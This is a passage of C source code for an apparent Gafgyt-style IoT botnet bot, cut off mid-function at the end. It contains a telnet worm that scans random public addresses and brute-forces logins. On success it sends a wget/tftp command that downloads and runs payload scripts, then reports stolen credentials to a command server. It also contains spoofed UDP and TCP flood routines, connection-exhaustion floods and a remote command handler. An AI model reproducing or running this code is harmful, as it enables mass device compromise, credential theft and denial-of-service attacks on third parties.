while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
{
FD_ZERO(&myset);
FD_SET(fd, &myset);
if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
initialRead = buffer + bufferUsed;
got = recv(fd, initialRead, 1, 0);
if(got == -1 || got == 0) return 0;
bufferUsed += got;
if(*initialRead == 0xFF)
{
got = recv(fd, initialRead + 1, 2, 0);
if(got == -1 || got == 0) return 0;
bufferUsed += got;
if(!negotiate(fd, initialRead, 3)) return 0;
} else {
if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
}
}
if(found) return 1;
return 0;
}
// _____ ___ _ _ _
// \_ \/ _ \ /\ /\| |_(_) |___
// / /\/ /_)/ / / \ \ __| | / __|
// /\/ /_/ ___/ \ \_/ / |_| | \__ \
// \____/\/ \___/ \__|_|_|___/
static uint8_t ipState[5] = {0}; //starting from 1 becuz yolo
in_addr_t getRandomPublicIP()
{
if(ipState[1] > 0 && ipState[4] < 255)
{
ipState[4]++;
char ip[16] = {0};
szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
return inet_addr(ip);
}
ipState[1] = rand() % 255;
ipState[2] = rand() % 255;
ipState[3] = rand() % 255;
ipState[4] = 0;
while(
(ipState[1] == 0) ||
(ipState[1] == 10) ||
(ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
(ipState[1] == 127) ||
(ipState[1] == 169 && ipState[2] == 254) ||
(ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
(ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
(ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
(ipState[1] == 192 && ipState[2] == 168) ||
(ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
(ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
(ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
(ipState[1] >= 224)
)
{
ipState[1] = rand() % 255;
ipState[2] = rand() % 255;
ipState[3] = rand() % 255;
}
char ip[16] = {0};
szprintf(ip, "%d.%d.%d.0", ipState[1], ipState[2], ipState[3]);
return inet_addr(ip);
}
in_addr_t getRandomIP(in_addr_t netmask)
{
in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
return tmp ^ ( rand_cmwc() & ~netmask);
}
unsigned short csum (unsigned short *buf, int count)
{
register uint64_t sum = 0;
while( count > 1 ) { sum += *buf++; count -= 2; }
if(count > 0) { sum += *(unsigned char *)buf; }
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
return (uint16_t)(~sum);
}
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
{
struct tcp_pseudo
{
unsigned long src_addr;
unsigned long dst_addr;
unsigned char zero;
unsigned char proto;
unsigned short length;
} pseudohead;
unsigned short total_len = iph->tot_len;
pseudohead.src_addr=iph->saddr;
pseudohead.dst_addr=iph->daddr;
pseudohead.zero=0;
pseudohead.proto=IPPROTO_TCP;
pseudohead.length=htons(sizeof(struct tcphdr));
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
unsigned short *tcp = malloc(totaltcp_len);
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
unsigned short output = csum(tcp,totaltcp_len);
free(tcp);
return output;
}
void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
{
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + packetSize;
iph->id = rand_cmwc();
iph->frag_off = 0;
iph->ttl = MAXTTL;
iph->protocol = protocol;
iph->check = 0;
iph->saddr = source;
iph->daddr = dest;
}
int sclose(int fd)
{
if(3 > fd) return 1;
close(fd);
return 0;
}
// _____ _ _ __ _ _
// /__ \___| |_ __ ___| |_ / _\ ___ __ _ _ __ _ __ ___ _ __ | | ___| |
// / /\/ _ \ | '_ \ / _ \ __| \ \ / __/ _` | '_ \| '_ \ / _ \ '__| | |/ _ \ |
// / / | __/ | | | | __/ |_ _\ \ (_| (_| | | | | | | | __/ | | | __/ |
// \/ \___|_|_| |_|\___|\__| \__/\___\__,_|_| |_|_| |_|\___|_| |_|\___|_|
void StartTheLelz(int nothing)
{
int max = (getdtablesize() / 4) * 3, i, res;
fd_set myset;
struct timeval tv;
socklen_t lon;
int valopt;
max = max > 4096 ? 4096 : max;
struct sockaddr_in dest_addr;
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(23);
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
struct telstate_t
{
int fd;
uint32_t ip;
uint8_t state;
uint8_t complete;
uint8_t usernameInd;
uint8_t passwordInd;
uint32_t totalTimeout;
uint16_t bufUsed;
char *sockbuf;
} fds[max];
memset(fds, 0, max * (sizeof(int) + 1));
for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
struct timeval timeout;
timeout.tv_sec = 5;
timeout.tv_usec = 0;
while(1)
{
for(i = 0; i < max; i++)
{
switch(fds[i].state)
{
case 0:
{
memset(fds[i].sockbuf, 0, 1024);
if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
else {
fds[i].passwordInd++;
if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
}
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(23);
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
dest_addr.sin_addr.s_addr = fds[i].ip;
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
if(fds[i].fd == -1) { continue; }
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; }
else { fds[i].state = 1; fds[i].totalTimeout = 0; }
}
break;
case 1:
{
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
FD_ZERO(&myset);
FD_SET(fds[i].fd, &myset);
tv.tv_sec = 0;
tv.tv_usec = 10000;
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
if(res == 1)
{
lon = sizeof(int);
valopt = 0;
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
if(valopt)
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
} else {
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
memset(fds[i].sockbuf, 0, 1024);
fds[i].state = 2;
continue;
}
} else if(res == -1)
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
if(fds[i].totalTimeout + 5 < time(NULL))
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 2:
{
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
{
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
memset(fds[i].sockbuf, 0, 1024);
fds[i].state = 3;
continue;
} else {
fds[i].bufUsed = strlen(fds[i].sockbuf);
}
if(fds[i].totalTimeout + 30 < time(NULL))
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 3:
{
if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 4;
}
break;
case 4:
{
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
{
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
else fds[i].state = 100;
memset(fds[i].sockbuf, 0, 1024);
continue;
} else {
if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
fds[i].bufUsed = strlen(fds[i].sockbuf);
}
if(fds[i].totalTimeout + 8 < time(NULL))
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 5:
{
if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 6;
}
break;
case 6:
{
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
{
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
else fds[i].state = 7;
memset(fds[i].sockbuf, 0, 1024);
continue;
} else {
fds[i].bufUsed = strlen(fds[i].sockbuf);
}
if(fds[i].totalTimeout + 30 < time(NULL))
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
case 7:
{
if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 8;
}
break;
case 8:
{
if(send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 9;
}
break;
case 9:
{
if(send(fds[i].fd, "cd /tmp || cd /var/run;wget http://ip/wbin.sh;sh wbin.sh;rm -rf wbin.sh;tftp -r tbin1.sh -g ip;sh tbin1.sh; tftp ip -c get tbin2.sh; sh tbin2.sh; rm -rf tbin1.sh tbin2.sh wbin.sh\r\n", 207, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 10;
}
break;
case 10:
{
if(send(fds[i].fd, "cd /tmp || cd /var/run;wget http://ip/wbin.sh;sh wbin.sh;rm -rf wbin.sh;tftp -r tbin1.sh -g ip;sh tbin1.sh; tftp ip -c get tbin2.sh; sh tbin2.sh; rm -rf tbin1.sh tbin2.sh wbin.sh\r\n", 207, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
fds[i].state = 11;
}
break;
case 11:
{
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
if(readUntil(fds[i].fd, "ulti-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
{
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
continue;
}
else if(readUntil(fds[i].fd, "gayfgt", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
{
fds[i].totalTimeout = 0;
fds[i].bufUsed = 0;
sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
memset(fds[i].sockbuf, 0, 1024);
sclose(fds[i].fd);
fds[i].complete = 1;
fds[i].state = 0;
continue;
}
else {
fds[i].bufUsed = strlen(fds[i].sockbuf);
}
if(fds[i].totalTimeout + 30 < time(NULL))
{
sclose(fds[i].fd);
fds[i].state = 0;
fds[i].complete = 1;
}
}
break;
}
}
}
}
// ___ ___ ___ _ _
// /\ /\ / \/ _ \ / __\ | ___ ___ __| |
// / / \ \/ /\ / /_)/ / _\ | |/ _ \ / _ \ / _` |
// \ \_/ / /_// ___/ / / | | (_) | (_) | (_| |
// \___/___,'\/ \/ |_|\___/ \___/ \__,_|
void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
{
struct sockaddr_in dest_addr;
dest_addr.sin_family = AF_INET;
if(port == 0) dest_addr.sin_port = rand_cmwc();
else dest_addr.sin_port = htons(port);
if(getHost(target, &dest_addr.sin_addr)) return;
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
register unsigned int pollRegister;
pollRegister = pollinterval;
if(spoofit == 32)
{
int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(!sockfd)
{
sockprintf(mainCommSock, "Failed opening raw socket.");
return;
}
unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
if(buf == NULL) return;
memset(buf, 0, packetsize + 1);
makeRandomStr(buf, packetsize);
int end = time(NULL) + timeEnd;
register unsigned int i = 0;
while(1)
{
sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
if(i == pollRegister)
{
if(port == 0) dest_addr.sin_port = rand_cmwc();
if(time(NULL) > end) break;
i = 0;
continue;
}
i++;
}
} else {
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
if(!sockfd)
{
sockprintf(mainCommSock, "Failed opening raw socket.");
//sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
return;
}
int tmp = 1;
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
{
sockprintf(mainCommSock, "Failed setting raw headers mode.");
return;
}
int counter = 50;
while(counter--)
{
srand(time(NULL) ^ rand_cmwc());
init_rand(rand());
}
in_addr_t netmask;
if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
else netmask = ( ~((1 << (32 - spoofit)) - 1) );
unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
struct iphdr *iph = (struct iphdr *)packet;
struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
udph->len = htons(sizeof(struct udphdr) + packetsize);
udph->source = rand_cmwc();
udph->dest = (port == 0 ? rand_cmwc() : htons(port));
udph->check = 0;
makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
iph->check = csum ((unsigned short *) packet, iph->tot_len);
int end = time(NULL) + timeEnd;
register unsigned int i = 0;
while(1)
{
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
udph->source = rand_cmwc();
udph->dest = (port == 0 ? rand_cmwc() : htons(port));
iph->id = rand_cmwc();
iph->saddr = htonl( getRandomIP(netmask) );
iph->check = csum ((unsigned short *) packet, iph->tot_len);
if(i == pollRegister)
{
if(time(NULL) > end) break;
i = 0;
continue;
}
i++;
}
}
}
// _____ ___ ___ ___ _ _
// /__ \/ __\ / _ \ / __\ | ___ ___ __| |
// / /\/ / / /_)/ / _\ | |/ _ \ / _ \ / _` |
// / / / /___/ ___/ / / | | (_) | (_) | (_| |
// \/ \____/\/ \/ |_|\___/ \___/ \__,_|
void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
{
register unsigned int pollRegister;
pollRegister = pollinterval;
struct sockaddr_in dest_addr;
dest_addr.sin_family = AF_INET;
if(port == 0) dest_addr.sin_port = rand_cmwc();
else dest_addr.sin_port = htons(port);
if(getHost(target, &dest_addr.sin_addr)) return;
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if(!sockfd)
{
sockprintf(mainCommSock, "Failed opening raw socket.");
return;
}
int tmp = 1;
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
{
sockprintf(mainCommSock, "Failed setting raw headers mode.");
return;
}
in_addr_t netmask;
if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
else netmask = ( ~((1 << (32 - spoofit)) - 1) );
unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
struct iphdr *iph = (struct iphdr *)packet;
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
tcph->source = rand_cmwc();
tcph->seq = rand_cmwc();
tcph->ack_seq = 0;
tcph->doff = 5;
if(!strcmp(flags, "all"))
{
tcph->syn = 1;
tcph->rst = 1;
tcph->fin = 1;
tcph->ack = 1;
tcph->psh = 1;
} else {
unsigned char *pch = strtok(flags, ",");
while(pch)
{
if(!strcmp(pch, "syn"))
{
tcph->syn = 1;
} else if(!strcmp(pch, "rst"))
{
tcph->rst = 1;
} else if(!strcmp(pch, "fin"))
{
tcph->fin = 1;
} else if(!strcmp(pch, "ack"))
{
tcph->ack = 1;
} else if(!strcmp(pch, "psh"))
{
tcph->psh = 1;
} else {
sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
}
pch = strtok(NULL, ",");
}
}
tcph->window = rand_cmwc();
tcph->check = 0;
tcph->urg_ptr = 0;
tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
tcph->check = tcpcsum(iph, tcph);
iph->check = csum ((unsigned short *) packet, iph->tot_len);
int end = time(NULL) + timeEnd;
register unsigned int i = 0;
while(1)
{
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
iph->saddr = htonl( getRandomIP(netmask) );
iph->id = rand_cmwc();
tcph->seq = rand_cmwc();
tcph->source = rand_cmwc();
tcph->check = 0;
tcph->check = tcpcsum(iph, tcph);
iph->check = csum ((unsigned short *) packet, iph->tot_len);
if(i == pollRegister)
{
if(time(NULL) > end) break;
i = 0;
continue;
}
i++;
}
}
// __ __ ___ _ _
// \ \ /\ /\ /\ \ \/\ /\ / __\ | ___ ___ __| |
// \ \/ / \ \/ \/ / //_/ / _\ | |/ _ \ / _ \ / _` |
// /\_/ /\ \_/ / /\ / __ \ / / | | (_) | (_) | (_| |
// \___/ \___/\_\ \/\/ \/ \/ |_|\___/ \___/ \__,_|
void sendJUNK(unsigned char *ip, int port, int end_time)
{
int max = getdtablesize() / 2, i;
struct sockaddr_in dest_addr;
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(port);
if(getHost(ip, &dest_addr.sin_addr)) return;
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
struct state_t
{
int fd;
uint8_t state;
} fds[max];
memset(fds, 0, max * (sizeof(int) + 1));
fd_set myset;
struct timeval tv;
socklen_t lon;
int valopt, res;
unsigned char *watwat = malloc(1024);
memset(watwat, 0, 1024);
int end = time(NULL) + end_time;
while(end > time(NULL))
{
for(i = 0; i < max; i++)
{
switch(fds[i].state)
{
case 0:
{
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
else fds[i].state = 1;
}
break;
case 1:
{
FD_ZERO(&myset);
FD_SET(fds[i].fd, &myset);
tv.tv_sec = 0;
tv.tv_usec = 10000;
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
if(res == 1)
{
lon = sizeof(int);
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
if(valopt)
{
close(fds[i].fd);
fds[i].state = 0;
} else {
fds[i].state = 2;
}
} else if(res == -1)
{
close(fds[i].fd);
fds[i].state = 0;
}
}
break;
case 2:
{
makeRandomStr(watwat, 1024);
if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
{
close(fds[i].fd);
fds[i].state = 0;
}
}
break;
}
}
}
}
// _ _ ___ _ _
// /\ /\___ | | __| | / __\ | ___ ___ __| |
// / /_/ / _ \| |/ _` | / _\ | |/ _ \ / _ \ / _` |
// / __ / (_) | | (_| | / / | | (_) | (_) | (_| |
// \/ /_/ \___/|_|\__,_| \/ |_|\___/ \___/ \__,_|
void sendHOLD(unsigned char *ip, int port, int end_time)
{
int max = getdtablesize() / 2, i;
struct sockaddr_in dest_addr;
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(port);
if(getHost(ip, &dest_addr.sin_addr)) return;
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
struct state_t
{
int fd;
uint8_t state;
} fds[max];
memset(fds, 0, max * (sizeof(int) + 1));
fd_set myset;
struct timeval tv;
socklen_t lon;
int valopt, res;
unsigned char *watwat = malloc(1024);
memset(watwat, 0, 1024);
int end = time(NULL) + end_time;
while(end > time(NULL))
{
for(i = 0; i < max; i++)
{
switch(fds[i].state)
{
case 0:
{
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
else fds[i].state = 1;
}
break;
case 1:
{
FD_ZERO(&myset);
FD_SET(fds[i].fd, &myset);
tv.tv_sec = 0;
tv.tv_usec = 10000;
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
if(res == 1)
{
lon = sizeof(int);
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
if(valopt)
{
close(fds[i].fd);
fds[i].state = 0;
} else {
fds[i].state = 2;
}
} else if(res == -1)
{
close(fds[i].fd);
fds[i].state = 0;
}
}
break;
case 2:
{
FD_ZERO(&myset);
FD_SET(fds[i].fd, &myset);
tv.tv_sec = 0;
tv.tv_usec = 10000;
res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
if(res != 0)
{
close(fds[i].fd);
fds[i].state = 0;
}
}
break;
}
}
}
}
/*
// __ _ __ _ _
// / _\ ___ _ __ __| | /__\ __ ___ __ _(_) |
// \ \ / _ \ '_ \ / _` | /_\| '_ ` _ \ / _` | | |
// _\ \ __/ | | | (_| | //__| | | | | | (_| | | |
// \__/\___|_| |_|\__,_| \__/|_| |_| |_|\__,_|_|_|
void sendEmail(unsigned char *email, unsigned char *host, unsigned char *subject, unsigned char *message)
{
unsigned char buffer[1024];
memset(buffer, 0, 1024);
int fd = socket(AF_INET, SOCK_STREAM, 0);
if(!connectTimeout(fd, host, 25, 30)) { close(fd); return; }
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
if(strstr(buffer, "220 ") == NULL) { close(fd); return; }
if(send(fd, "HELO rastrent.com\r\n", 19, MSG_NOSIGNAL) != 19) { close(fd); return; }
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
memset(buffer, 0, 1024);
if(send(fd, "MAIL FROM: <[email protected]>\r\n", 33, MSG_NOSIGNAL) != 33) { close(fd); return; }
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
memset(buffer, 0, 1024);
if(send(fd, "RCPT TO: <", 10, MSG_NOSIGNAL) != 10) { close(fd); return; }
if(send(fd, email, strlen(email), MSG_NOSIGNAL) != strlen(email)) { close(fd); return; }
if(send(fd, ">\r\n", 3, MSG_NOSIGNAL) != 3) { close(fd); return; }
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
memset(buffer, 0, 1024);
if(send(fd, "DATA\r\n", 6, MSG_NOSIGNAL) != 6) { close(fd); return; }
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
if(strstr(buffer, "354 ") == NULL) { close(fd); return; }
memset(buffer, 0, 1024);
if(send(fd, "To: ", 4, MSG_NOSIGNAL) != 4) { close(fd); return; }
if(send(fd, email, strlen(email), MSG_NOSIGNAL) != strlen(email)) { close(fd); return; }
if(send(fd, "\r\nFrom: [email protected]\r\nSubject: ", 38, MSG_NOSIGNAL) != 38) { close(fd); return; }
if(send(fd, subject, strlen(subject), MSG_NOSIGNAL) != strlen(subject)) { close(fd); return; }
if(send(fd, "\r\n\r\n", 4, MSG_NOSIGNAL) != 4) { close(fd); return; }
if(send(fd, message, strlen(message), MSG_NOSIGNAL) != strlen(message)) { close(fd); return; }
if(send(fd, "\r\n.\r\n", 5, MSG_NOSIGNAL) != 5) { close(fd); return; }
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
memset(buffer, 0, 1024);
send(fd, "QUIT\r\n", 6, MSG_NOSIGNAL);
close(fd);
return;
} */
// _____ __ ___ _
// \_ \/__\ / __\ /\/\ __ _(_)_ __
// / /\/ \// / / / \ / _` | | '_ \
// /\/ /_/ _ \/ /___ / /\/\ \ (_| | | | | |
// \____/\/ \_/\____/ \/ \/\__,_|_|_| |_|
void processCmd(int argc, unsigned char *argv[])
{
int x;
if(!strcmp(argv[0], "PING"))
{
sockprintf(mainCommSock, "PONG!");
return;
}
if(!strcmp(argv[0], "GETLOCALIP"))
{
sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
return;
}
if(!strcmp(argv[0], "SCANNER"))
{
if(argc != 2)
{
sockprintf(mainCommSock, "SCANNER ON | OFF");
return;
}
if(!strcmp(argv[1], "OFF"))
{
if(scanPid == 0) return;
kill(scanPid, 9);
scanPid = 0;
}
if(!strcmp(argv[1], "ON"))
{
if(scanPid != 0) return;
uint32_t parent;
parent = fork();
printf("FORK\n");
if (parent > 0) { scanPid = parent; return;}
else if(parent == -1) return;
StartTheLelz(1);
_exit(0);
}
}
/*
if(!strcmp(argv[0], "EMAIL"))
{
if(argc < 5)
{
//sockprintf(mainCommSock, "EMAIL <target email> <mx host> <subject no spaces> <message no spaces>");
return;
}
unsigned char *target = argv[1];
unsigned char *host = argv[2];
unsigned char *subject = argv[3];
unsigned char *message = argv[4];
if (listFork()) { return; }
sendEmail(target, host, subject, message);
close(mainCommSock);
_exit(0);
}
*/
if(!strcmp(argv[0], "HOLD"))
{
if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
{
//sockprintf(mainCommSock, "HOLD <ip> <port> <time>");
return;
}
unsigned char *ip = argv[1];
int port = atoi(argv[2]);
int time = atoi(argv[3]);
if(strstr(ip, ",") != NULL)
{
unsigned char *hi = strtok(ip, ",");
while(hi != NULL)
{
if(!listFork())
{
sendHOLD(hi, port, time);
_exit(0);
}
hi = strtok(NULL, ",");
}
} else {
if (listFork()) { return; }
sendHOLD(ip, port, time);
_exit(0);
}
}
if(!strcmp(argv[0], "JUNK"))
{
if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
{
//sockprintf(mainCommSock, "JUNK <ip> <port> <time>");
return;
}
unsigned char *ip = argv[1];
int port = atoi(argv[2]);
int time = atoi(argv[3]);
if(strstr(ip, ",") != NULL)
{
unsigned char *hi = strtok(ip, ",");
while(hi != NULL)
{
if(!listFork())
{
sendJUNK(hi, port, time);
close(mainCommSock);
_exit(0);
}
hi = strtok(NULL, ",");
}
} else {
if (listFork()) { return; }
sendJUNK(ip, port, time);
_exit(0);
}
}
if(!strcmp(argv[0], "UDP"))
{
if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
{
//sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");
return;
}
unsigned char *ip = argv[1];
int port = atoi(argv[2]);
int time = atoi(argv[3]);
int spoofed = atoi(argv[4]);
int packetsize = atoi(argv[5]);
int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
